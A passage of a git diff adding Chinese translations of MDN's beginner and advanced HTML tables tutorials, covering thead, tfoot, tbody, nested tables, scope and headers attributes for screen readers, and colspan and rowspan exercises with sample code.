+ <li> <code><tfoot></code> 需要嵌套在 table 元素中,放置在底部 (页脚)的位置,一般是最后一行,往往是对前面所有行的总结,比如,你可以按照预想的方式将<code><tfoot></code>放在表格的底部,或者就放在 <code><thead></code> 的下面。(浏览器仍将它呈现在表格的底部)</li> + <li> <code><tbody></code> 需要嵌套在 table 元素中,放置在 <code><thead></code>的下面或者是 <code><tfoot></code> 的下面,这取决于你如何设计你的结构。(<code><tfoot></code>放在<code><thead></code>下面也可以生效.)</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: <code><tbody></code> 总是包含在每个表中,如果你没有在代码中指定它,那就是隐式的。可以来验证一下,打开一个你之前没有包含 <code><tbody></code> 的例子,然后在你的 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> 中观察你的代码,你会看到浏览器为你添加了这个标签。你也许会想问,为什么你应该在所有表中都需要这个元素,因为它可以让你更好地控制表格结构和样式。</p> +</div> + +<h3 id="动手练习_添加表格结构">动手练习: 添加表格结构</h3> + +<p>让我们动手使用这些新元素。</p> + +<ol> + <li>首先,把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html">spending-record.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> 拷贝到你的本地环境。</li> + <li>尝试在浏览器中打开它,你会发现看起来不错,但是它可以被改善得更好。 "SUM" 行包含了已经使用的金额的总和,不过它出现在了错误的位置,以及代码中还遗失了一些细节。</li> + <li>将明显的标题行改为使用 <code><thead></code> 元素,"SUM" 行使用 <code><tfoot></code> 元素,剩余的内容使用 <code><tbody></code> 元素。</li> + <li>先保存,再刷新。你会看到,添加了 <code><tfoot></code> 元素后,导致 "SUM" 这行跑到了表格的底部。</li> + <li>接着, 添加一个 {{htmlattrxref("colspan","td")}} 属性,使 "SUM" 单元格占 4 个单元格的位置,所以实际数字是显示在 “Cost” 列的底部。</li> + <li>让我们为表格添加一些简单的额外属性,能够让你理解这些属性是如何帮助更好地让表格应用 CSS 的。在你的 HTML 文件的 head 标签部分,你会看到一个空的 {{htmlelement("style")}} 元素. 在 style 元素中添加下列 CSS 代码: + <pre class="brush: css">tbody { + font-size: 90%; + font-style: italic; +} + +tfoot { + font-weight: bold; +} +</pre> + </li> + <li>先保存,再刷新,然后观察一下结果。如果没有 <code><tbody></code> 和 <code><tfoot></code> 元素,你也许会写更加复杂的选择器来应用同样的样式。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 我们并不期望目前你可以理解所有 CSS 的内容。当你经过我们的 CSS 模块的时候,你应该会了解更多 (<a href="/zh_CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a> 是一个好的起点;我们也有专门的文章 <a href="/zh_CN/docs/Learn/CSS/Styling_boxes/Styling_tables">styling tables</a>).</p> +</div> + +<p>你完成的表格应该如下所示:</p> + +<div class="hidden"> +<h6 id="Hidden_example">Hidden example</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My spending record</title> + <style> + + html { + font-family: sans-serif; + } + + table { + border-collapse: collapse; + border: 2px solid rgb(200,200,200); + letter-spacing: 1px; + font-size: 0.8rem; + } + + td, th { + border: 1px solid rgb(190,190,190); + padding: 10px 20px; + } + + th { + background-color: rgb(235,235,235); + } + + td { + text-align: center; + } + + tr:nth-child(even) td { + background-color: rgb(250,250,250); + } + + tr:nth-child(odd) td { + background-color: rgb(245,245,245); + } + + caption { + padding: 10px; + } + + tbody { + font-size: 90%; + font-style: italic; + } + + tfoot { + font-weight: bold; + } + </style> + </head> + <body> + <table> + <caption>How I chose to spend my money</caption> + <thead> + <tr> + <th>Purchase</th> + <th>Location</th> + <th>Date</th> + <th>Evaluation</th> + <th>Cost (€)</th> + </tr> + </thead> + <tfoot> + <tr> + <td colspan="4">SUM</td> + <td>118</td> + </tr> + </tfoot> + <tbody> + <tr> + <td>Haircut</td> + <td>Hairdresser</td> + <td>12/09</td> + <td>Great idea</td> + <td>30</td> + </tr> + <tr> + <td>Lasagna</td> + <td>Restaurant</td> + <td>12/09</td> + <td>Regrets</td> + <td>18</td> + </tr> + <tr> + <td>Shoes</td> + <td>Shoeshop</td> + <td>13/09</td> + <td>Big regrets</td> + <td>65</td> + </tr> + <tr> + <td>Toothpaste</td> + <td>Supermarket</td> + <td>13/09</td> + <td>Good</td> + <td>5</td> + </tr> + </tbody> + </table> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注意</strong>: 你也可以在 GitHub 上找到 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html">spending-record-finished.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html">see it live also</a>).</p> +</div> + +<h2 id="嵌套表格">嵌套表格</h2> + +<p>在一个表格中嵌套另外一个表格是可能的,只要你包含完整的结构,包括 <code><table></code> 元素。这样通常是不建议的,因为这种做法会使标记看上去很难理解,对使用屏幕阅读的用户来说,可访问性也降低了。以及在很多情况下,也许你只需要插入额外的 单元格/行/列 到已有的表格中。然而有时候是必要的,比如你想要从其他资源中更简单地导入内容。</p> + +<p>下面的代码演示了一个简单的嵌套表格:</p> + +<pre class="brush: html"><table id="table1"> + <tr> + <th>title1</th> + <th>title2</th> + <th>title3</th> + </tr> + <tr> + <td id="nested"> + <table id="table2"> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </table> + </td> + <td>cell2</td> + <td>cell3</td> + </tr> + <tr> + <td>cell4</td> + <td>cell5</td> + <td>cell6</td> + </tr> +</table></pre> + +<p>输出看起来是这样的:</p> + +<table id="table1"> + <tbody> + <tr> + <th>title1</th> + <th>title2</th> + <th>title3</th> + </tr> + <tr> + <td id="nested"> + <table id="table2"> + <tbody> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </tbody> + </table> + </td> + <td>cell2</td> + <td>cell3</td> + </tr> + <tr> + <td>cell4</td> + <td>cell5</td> + <td>cell6</td> + </tr> + </tbody> +</table> + +<h2 id="对于视力受损的用户的表格">对于视力受损的用户的表格</h2> + +<p>让我们简要回顾一下如何使用数据表。一个表格可以是一个便利的工具,或者让我们快速访问数据,并允许我们查找不同的值。比如,你只需要稍微看一眼下列的表格,你就能得知 2016 年 8 月份在 Gent 出售了多少个 Rings (戒指)。为了理解信息,我们让数据与列标题或行标题之间建立视觉联系。</p> + +<table> + <caption>Items Sold August 2016</caption> + <tbody> + <tr> + <td></td> + <td></td> + <th colspan="3" scope="colgroup">Clothes</th> + <th colspan="2" scope="colgroup">Accessories</th> + </tr> + <tr> + <td></td> + <td></td> + <th scope="col">Trousers</th> + <th scope="col">Skirts</th> + <th scope="col">Dresses</th> + <th scope="col">Bracelets</th> + <th scope="col">Rings</th> + </tr> + <tr> + <th rowspan="3" scope="rowgroup">Belgium</th> + <th scope="row">Antwerp</th> + <td>56</td> + <td>22</td> + <td>43</td> + <td>72</td> + <td>23</td> + </tr> + <tr> + <th scope="row">Gent</th> + <td>46</td> + <td>18</td> + <td>50</td> + <td>61</td> + <td>15</td> + </tr> + <tr> + <th scope="row">Brussels</th> + <td>51</td> + <td>27</td> + <td>38</td> + <td>69</td> + <td>28</td> + </tr> + <tr> + <th rowspan="2" scope="rowgroup">The Netherlands</th> + <th scope="row">Amsterdam</th> + <td>89</td> + <td>34</td> + <td>69</td> + <td>85</td> + <td>38</td> + </tr> + <tr> + <th scope="row">Utrecht</th> + <td>80</td> + <td>12</td> + <td>43</td> + <td>36</td> + <td>19</td> + </tr> + </tbody> +</table> + +<p>但假设你无法通过视觉关联这些数据呢? 那么你应该如何阅读上述的表格? 视力受损的用户经常使用一个屏幕阅读设备来为他们读出网页上的信息。对于盲人来说,阅读简单的文字没有什么问题,但是要理解一张表格的内容,这就有一些难度了。虽然,使用正确的标记,我们可以用程序化来代替视觉关联。</p> + +<div class="note"> +<p><strong>注意</strong>: 根据<a href="http://www.who.int/zh/news-room/fact-sheets/detail/blindness-and-visual-impairment" title="视力损害和盲症">世界卫生组织 2017 年的数据</a>,大约有 2.53 亿人患有视觉障碍。</p> +</div> + +<p>本篇文章提供了更一步的技术来使表格的可访问性尽可能地提高。</p> + +<h3 class="attTitle" id="使用列和行的标题">使用列和行的标题</h3> + +<p>屏幕阅读设备会识别所有的标题,然后在它们和它们所关联的单元格之间产生编程关联。列和行标题的组合将标识和解释每个单元格中的数据,以便屏幕阅读器用户可以类似于视力正常的用户的操作来理解表格。</p> + +<p>我们之前的文章就提到过这一点,可见 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements">Adding headers with <th> elements</a>.</p> + +<h3 class="attTitle" id="scope_属性">scope 属性</h3> + +<p>本篇文章的一个新话题是 {{htmlattrxref("scope","th")}} 属性,可以添加在<code><th></code> 元素中,用来帮助屏幕阅读设备更好地理解那些标题单元格,这个标题单元格到底是列标题呢,还是行标题。比如: 回顾我们之前的支出记录示例,你可以明确地将列标题这样定义:</p> + +<pre class="brush: html"><thead> + <tr> + <th scope="col">Purchase</th> + <th scope="col">Location</th> + <th scope="col">Date</th> + <th scope="col">Evaluation</th> + <th scope="col">Cost (€)</th> + </tr> +</thead></pre> + +<p>以及每一行都可以这样定义一个行标题 (如果我们已经使用了 th 和 td 元素):</p> + +<pre class="brush: html"><tr> + <th scope="row">Haircut</th> + <td>Hairdresser</td> + <td>12/09</td> + <td>Great idea</td> + <td>30</td> +</tr></pre> + +<p>屏幕阅读设备会识别这种结构化的标记,并一次读出整列或整行,比如:</p> + +<p><code>scope</code> 还有两个可选的值 : <code>colgroup</code> 和 <code>rowgroup</code>。这些用于位于多个列或行的顶部的标题。 如果你回顾这部分文章开始部分的 "Items Sold August 2016" 表格。你会看到 "Clothes" 单元格在"Trousers", "Skirts", 和 "Dresses" 单元格的上面。这几个单元格都应该被标记为 (<code><th></code>),但是 "Clothes" 是一个位于顶部且定义了其他三个子标题的标题。 因此 "Clothes" 应该有一个 <code>scope="colgroup"</code>属性,而另外三个子标题应该有 <code>scope="col"</code>属性。</p> + +<h3 class="attTitle" id="id_和标题属性">id 和标题属性</h3> + +<p>如果要替代 <code>scope</code> 属性,可以使用 {{htmlattrxref("id")}} 和 {{htmlattrxref("headers", "td")}} 属性来创造标题与单元格之间的联系。使用方法如下:</p> + +<ol> + <li>为每个<code><th></code> 元素添加一个唯一的 <code>id</code> 。</li> + <li>为每个 <code><td></code> 元素添加一个 <code>headers</code> 属性。每个单元格的<code>headers</code> 属性需要包含它从属于的所有标题的id,之间用空格分隔开。</li> +</ol> + +<p>这会给你的HTML表格中每个单元格的位置一个明确的定义。像一个电子表格一样,通过 headers 属性来定义属于哪些行或列。为了让它工作良好,表格同时需要列和行标题。</p> + +<p>回到我们的花费成本示例,前两个片段可以重写为:</p> + +<pre class="brush: html"><thead> + <tr> + <th id="purchase">Purchase</th> + <th id="location">Location</th> + <th id="date">Date</th> + <th id="evaluation">Evaluation</th> + <th id="cost">Cost (€)</th> + </tr> +</thead> +<tbody> +<tr> + <th id="haircut">Haircut</th> + <td headers="location haircut">Hairdresser</td> + <td headers="date haircut">12/09</td> + <td headers="evaluation haircut">Great idea</td> + <td headers="cost haircut">30</td> +</tr> + + ... + +</tbody></pre> + +<div class="note"> +<p><strong>注意</strong>: 这个放进为标题单元格和数据单元格之间创造了非常精确的联系。但是这个方法使用了大量的标记,所以容错率比较低。使用 <code>scope</code> 的方法对于大多数表格来说,也够用了。</p> +</div> + +<h3 id="动手练习_使用_scope_和_headers">动手练习: 使用 scope 和 headers</h3> + +<ol> + <li>对于这个最后的练习,首先把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html">items-sold.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a>,拷贝到你的本地环境。</li> + <li>现在尝试添加适当的 <code>scope</code> 属性来让表格变得更加恰当。</li> + <li>最后,尝试把未添加 <code>scope</code> 属性的源文件再复制一份。这次使用 <code>id</code> 和 <code>headers</code> 属性让表格变得更加恰当。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 你可以根据我们完成的例子检查你的工作,请看 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html">items-sold-scope.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html">also see this live</a>) 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html">items-sold-headers.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html">see this live too</a>).</p> +</div> + +<h2 id="总结">总结</h2> + +<p>关于 HTML 表格你还可以学习其他一些东西,但是我们目前已经把大部分你需要知道的内容都告诉你了。在此刻,如果你想学习关于 HTML 表格的样式,可以阅读 <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p> + +<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> diff --git a/files/zh-cn/learn/html/tables/basics/index.html b/files/zh-cn/learn/html/tables/basics/index.html new file mode 100644 index 0000000000..1198158b86 --- /dev/null +++ b/files/zh-cn/learn/html/tables/basics/index.html @@ -0,0 +1,497 @@ +--- +title: HTML 表格 入门 +slug: Learn/HTML/Tables/Basics +tags: + - colgroup + - colspan + - row + - rowspan + - 初学者 + - 单元格 + - 基础 + - 学习 + - 表格 +translation_of: Learn/HTML/Tables/Basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> + +<p class="summary">本文将从HTML表格开始,介绍一些基本的内容,如行和单元格、标题、使单元格跨越多个列和行,以及如何将列中的所有单元组合在一起进行样式化。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前置知识:</th> + <td>HTML基本概念 (参见 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解熟悉HTML表格基本知识。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是表格?">什么是表格?</h2> + +<p>表格是由行和列组成的结构化数据集(表格数据),它能够使你简捷迅速地查找某个表示不同类型数据之间的某种关系的值 。比如说,某个人和他的年龄,一天或是一周,当地游泳池的时间表 。</p> + +<p><img alt="A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47." src="https://mdn.mozillademos.org/files/14583/numbers-table.png" style="display: block; height: 156px; margin: 0px auto; width: 350px;"></p> + +<p><img alt="A swimming timetable showing a sample data table" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p> + +<p>表格在人类社会中很常见,而且已经存在很长时间了,下面这张1800年的美国人口普查文件中就可以证明:</p> + +<p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p> + +<p>因此,HTML的创建者们提供了一种方法来构建和呈现web上的表格数据,这也就不足为奇了。</p> + +<h3 id="表格如何工作?">表格如何工作?</h3> + +<p>表格的一个特点就是严格. 通过在行和列的标题之间进行视觉关联的方法,就可以让信息能够很简单地被解读出来。观察下面的示例表格,然后找一个单数人称代词,这个单数人称代词是用于第三人称的, 用于女性的, 用作句子中的对象. 你可以把相应的行和列的标题关联起来,找到答案。</p> + +<p>人称代词</p> + +<table> + <tbody> + <tr> + <th colspan="3"></th> + <th scope="col">Subject</th> + <th scope="col">Object</th> + </tr> + <tr> + <th rowspan="5" scope="rowgroup">单数</th> + <th colspan="2" scope="row">第一人称</th> + <td>I</td> + <td>me</td> + </tr> + <tr> + <th colspan="2" scope="row">第二人称</th> + <td>you</td> + <td>you</td> + </tr> + <tr> + <th rowspan="3" scope="rowgroup">第三人称</th> + <th class="symbol" scope="row">♂</th> + <td>he</td> + <td>him</td> + </tr> + <tr> + <th class="symbol" scope="row">♀</th> + <td>she</td> + <td>her</td> + </tr> + <tr> + <th class="symbol" scope="row">o</th> + <td>it</td> + <td>it</td> + </tr> + <tr> + <th rowspan="3" scope="rowgroup">复数</th> + <th colspan="2" scope="row">第一人称</th> + <td>we</td> + <td>us</td> + </tr> + <tr> + <th colspan="2" scope="row">第二人称</th> + <td>you</td> + <td>you</td> + </tr> + <tr> + <th colspan="2" scope="row">第三人称</th> + <td>they</td> + <td>them</td> + </tr> + </tbody> +</table> + +<p>正确完成后, 即使是盲人也可以解析 HTML 表格中的数据,一个成功的 HTML 表格应该做到无论用户是视力正常还是视力受损,都能提高用户的体验。</p> + +<h3 id="表格风格">表格风格</h3> + +<p>你可以在 GitHub 上找到上面表格的 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/personal-pronouns.html">HTML源码</a> ; 先去看看, 当然也可以看看这个 <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns.html">look at the live example</a>! 你也许会注意到一件事情,那就是这个表格看上去可读性不是很好,那是因为现在这个页面上面的那个表格通过 MDN 站点添加了一些样式, 而 GitHub 上面的并没有添加。</p> + +<p>不要幻想; 为了能够让表格在网页上有效, 你需要提供一些 CSS 的样式信息,以及尽可能好的 HTML 固定结构. 在这个模块中,我们将专注于 HTML 部分; 在你完成这里的内容之后,你可以浏览 <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling tables</a> 来了解 CSS 的部分。</p> + +<p>虽然在这个模块中我们不会专注于 CSS, 但是我们提供了一个较小的 CSS 样式表让你使用,和默认的没有采用任何 CSS 样式的表相比,表格会更加可读。 你可以在 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">stylesheet here</a> 获取样式表,以及在 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">HTML template</a> 获取 HTML 文件来应用样式表,这些会让你在 “测试 HTML 表格” 中有一个好的起点。</p> + +<div class="note"> +<p><strong>注意</strong>: 也可以看下 <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns-styled.html">personal_pronouns table with this styling applied</a> 这个版本, 这个是应用了 CSS 以后表格看上去的样子。</p> +</div> + +<h3 id="什么时候你不应该使用_HTML_表格">什么时候你不应该使用 HTML 表格?</h3> + +<p>HTML 表格 应该用于表格数据 ,这正是 HTML 表格设计出来的用途. 不幸的是, 许多人习惯用 HTML 表格来实现网页布局, e.g. 一行包含 header, 一行包含几列内容, 一行包含 footer, etc. 你可以在我们的 <a href="/en-US/docs/Learn/Accessibility">Accessibility Learning Module</a> 中的 <a href="/en-US/docs/Learn/Accessibility/HTML#Page_layouts">Page Layouts</a> 获得更多细节内容和一个示例。这种做法以前是很常见的,因为以前 CSS 在不同浏览器上的兼容性比较糟糕 ; 表格布局现在不太普遍,但您可能仍然会在网络的某些角落看到它们。</p> + +<p>简单来说, 使用表格布局而不使用 <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout techniques</a> 是很糟糕的. 主要的理由有以下几个:</p> + +<ol> + <li><strong>表格布局减少了视觉受损的用户的可访问性</strong>: <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">屏幕阅读器</a>, 被盲人所使用, 解析存在于 HTML 页面上的标签,然后为用户读出其中的内容。因为对于布局来说,表格不是一个正确的工具, 使用的标记比使用 CSS 布局技术更复杂, 所以屏幕阅读器的输出会让他们的用户感到困惑。</li> + <li><strong>表格会产生很多标签</strong>: 正如刚才提到的, 表格布局通常会比正确的布局技术涉及更复杂的标签结构,这会导致代码变得更难于编写、维护、调试.</li> + <li><strong>表格不能自动响应</strong>: 当你使用正确的布局容器 (比如 {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, 或是 {{htmlelement("div")}}), 它们的默认宽度是父元素的 100%. 而表格的的默认大小是根据其内容而定的。因此,需要采取额外的措施来获取表格布局样式,以便有效地在各种设备上工作。</li> +</ol> + +<h2 id="动手练习_创建你的第一个表格">动手练习: 创建你的第一个表格</h2> + +<p>对于表格的理论知识,我们已经说了很多了,所以, 让我们来看一个使用的例子,并建立一个简单的表格.</p> + +<ol> + <li>首先, 将 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> 拷贝到你的本地环境上。</li> + <li>每一个表格的内容都包含在这两个标签中 : <strong><code><a href="/en-US/docs/Web/HTML/Element/table"><table></table></a></code></strong>. 在你的 HTML 的 {{htmlelement("body")}} 中添加这些内容。</li> + <li>在表格中,最小的内容容器是单元格, 是通过 <strong><code><a href="/en-US/docs/Web/HTML/Element/td"><td></a></code></strong> 元素创建的 ('td' 代表 'table data'). 把下面的内容添加到你的表格标签中: + <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td></pre> + </li> + <li>如果我们想要一行四个单元格,我们需要把这组标签拷贝三次,更新你表中的内容,让它看起来是这样的: + <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td> +<td>I'm your second cell.</td> +<td>I'm your third cell.</td> +<td>I'm your fourth cell.</td></pre> + </li> +</ol> + +<p>你会看到, 单元格不会放置在彼此的下方, 而是自动与同一行上的其他单元格对齐. 每个 <code><td></code> 元素 创建一个单独单元格,它们共同组成了第一行。我们添加的每个单元格都使行的长度变长。</p> + +<p>如果想让这一行停止增加,并让单元格从第二行开始,我们需要使用 <strong><code><a href="/en-US/docs/Web/HTML/Element/tr"><tr></a></code></strong> 元素 ('tr' 代表 'table row'). 让我们现在来证实一下。</p> + +<ol> + <li>把你已经创建好的 4 个单元格放入 <code><tr></code> 标签, 就像: + + <pre class="brush: html notranslate"><tr> + <td>Hi, I'm your first cell.</td> + <td>I'm your second cell.</td> + <td>I'm your third cell.</td> + <td>I'm your fourth cell.</td> +</tr></pre> + </li> + <li>现在你已经实现了一行,可以继续增加至两行、三行。每一行都需要一个额外的 <code><tr></code> 元素来包装,每个单元格的内容都应该写在 <code><td></code>中。</li> +</ol> + +<p>这样会产生一个如下所示的表:</p> + +<table> + <tbody> + <tr> + <td>Hi, I'm your first cell.</td> + <td>I'm your second cell.</td> + <td>I'm your third cell.</td> + <td>I'm your fourth cell.</td> + </tr> + <tr> + <td>Second row, first cell.</td> + <td>Cell 2.</td> + <td>Cell 3.</td> + <td>Cell 4.</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>注意</strong>: 你也可以在 GitHub 中查看 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html">simple-table.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/basic/simple-table.html">see it live also</a>).</p> +</div> + +<h2 id="使用_<th>_元素添加标题">使用 <th> 元素添加标题</h2> + +<p>现在,让我们把注意力转向表格标题,表格中的标题是特殊的单元格,通常在行或列的开始处,定义行或列包含的数据类型 (举个例子, 看到本篇文章中第一个示例中的 "单数" 或者 "Object" ). 为了说明它们为什么这么有用, 来看下面这个例子,首先是源代码:</p> + +<pre class="brush: html notranslate"><table> + <tr> + <td>&nbsp;</td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> + </tr> + <tr> + <td>Breed</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> + </tr> + <tr> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> + </tr> + <tr> + <td>Owner</td> + <td>Mother-in-law</td> + <td>Me</td> + <td>Me</td> + <td>Sister-in-law</td> + </tr> + <tr> + <td>Eating Habits</td> + <td>Eats everyone's leftovers</td> + <td>Nibbles at food</td> + <td>Hearty eater</td> + <td>Will eat till he explodes</td> + </tr> +</table></pre> + +<p>这是表格实际呈现的效果:</p> + +<table> + <tbody> + <tr> + <td></td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> + </tr> + <tr> + <td>Breed</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> + </tr> + <tr> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> + </tr> + <tr> + <td>Owner</td> + <td>Mother-in-law</td> + <td>Me</td> + <td>Me</td> + <td>Sister-in-law</td> + </tr> + <tr> + <td>Eating Habits</td> + <td>Eats everyone's leftovers</td> + <td>Nibbles at food</td> + <td>Hearty eater</td> + <td>Will eat till he explodes</td> + </tr> + </tbody> +</table> + +<p>这里的问题是:虽然你可以弄清楚发生了什么,但是尽可能的交叉参考数据并不容易。如果列和行的标题以某种方式出现,那将会更好。</p> + +<h3 id="动手练习_表格标题">动手练习: 表格标题</h3> + +<p>让我们来改进这个表格.</p> + +<ol> + <li>首先, 把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> 文件保存到你的本地环境,HTML 文件包含上文你看到的几种狗的数据。</li> + <li>为了将表格的标题在视觉上和语义上都能被识别为标题,你可以使用 <strong><code><a href="/en-US/docs/Web/HTML/Element/th"><th></a></code></strong> 元素 ('th' 代表 'table header'). 用法和 <code><td></code>是一样的,除了它表示为标题,不是普通的单元格以外。进入你的 HTML 文件, 将表格中应该是标题的 <code><td></code> 元素标记的内容,都改为用 <code><th></code> 元素标记。</li> + <li>保存你的 HTML 文件,然后在浏览器中加载,然后你应该会看到,现在的标题更像标题了。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 你可以在 GitHub 中找到完成的版本 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html">dogs-table-fixed.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html">see it live also</a>).</p> +</div> + +<h3 id="为什么标题是有用的">为什么标题是有用的?</h3> + +<p>我们已经给出了部分答案,当标题明显突出的时候,你可以更加简单地找到你想找的数据,设计上也会看起来更好。</p> + +<div class="note"> +<p><strong>注意</strong>: 即使你不给表格添加你自己的样式,表格标题也会带有一些默认样式:加粗和居中,让标题可以突出显示。</p> +</div> + +<p>表格标题也有额外的好处,随着 <code>scope</code> 属性 (我们将在下一篇文章中了解到),这个属性允许你让表格变得更加无障碍,每个标题与相同行或列中的所有数据相关联。屏幕阅读设备能一次读出一列或一行的数据,这是非常有帮助的。</p> + +<h2 id="允许单元格跨越多行和列">允许单元格跨越多行和列</h2> + +<p>有时我们希望单元格跨越多行或多列。以下是一个简单的例子,显示了一些常见动物的名字。在某些情况下,我们要显示动物名称旁边的男性和女性的名字。有时候我们又不需要,那不需要的情况下,我们希望写着动物的名字的单元格的宽度可以是两个单元格的宽度 (因为写着名字的行会有两列,而没有写名字的行只有一列,行的宽度是不一样的)。</p> + +<p>一开始的标记写法是这样的:</p> + +<pre class="brush: html notranslate"><table> + <tr> + <th>Animals</th> + </tr> + <tr> + <th>Hippopotamus</th> + </tr> + <tr> + <th>Horse</th> + <td>Mare</td> + </tr> + <tr> + <td>Stallion</td> + </tr> + <tr> + <th>Crocodile</th> + </tr> + <tr> + <th>Chicken</th> + <td>Hen</td> + </tr> + <tr> + <td>Rooster</td> + </tr> +</table></pre> + +<p>但是输出的结果不是我们想要的:</p> + +<table> + <tbody> + <tr> + <th>Animals</th> + </tr> + <tr> + <th>Hippopotamus</th> + </tr> + <tr> + <th>Horse</th> + <td>Mare</td> + </tr> + <tr> + <td>Stallion</td> + </tr> + <tr> + <th>Crocodile</th> + </tr> + <tr> + <th>Chicken</th> + <td>Hen</td> + </tr> + <tr> + <td>Rooster</td> + </tr> + </tbody> +</table> + +<p>我们需要一个方法,让 "Animals", "Hippopotamus", 和 "Crocodile" 的单元格的宽度变为两个单元格, "Horse" 和 "Chicken" 的高度变为两行 (因为要拥有一个男性名字和女性名字,可以先看效果图)。幸好, 表格中的标题和单元格有 <code>colspan</code> 和 <code>rowspan</code> 属性,这两个属性可以帮助我们实现这些效果。这两个属性接受一个没有单位的数字值,数字决定了它们的宽度或高度是几个单元格。比如, <code>colspan="2"</code> 使一个单元格的宽度是两个单元格。</p> + +<p>让我们使用 <code>colspan</code> 和 <code>rowspan</code> 来改进现有的表格。</p> + +<ol> + <li>首先,把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html">animals-table.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> 文件复制到你的本地环境,HTML 文件中包含了你刚才看到的动物示例的数据。</li> + <li>接着,使用 <code>colspan</code> 让 "Animals", "Hippopotamus", 和 "Crocodile" 占 2 个单元格的宽度。</li> + <li>最后,使用 <code>rowspan</code> 让 "Horse" 和 "Chicken" 占 2 个单元格的高度。</li> + <li>保存后,用浏览器打开你写的 HTML 文件,看看改进的地方。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 你也可以在 GitHub 上找到完成的版本 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html">animals-table-fixed.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html">see it live also</a>).</p> +</div> + +<table id="tabular" style="background-color: white;"> +</table> + +<h2 id="为表格中的列提供共同的样式">为表格中的列提供共同的样式</h2> + +<p>在我们继续介绍之前,我们将介绍本文中的最后一个功能。HTML有一种方法可以定义整列数据的样式信息:就是 <strong><code><a 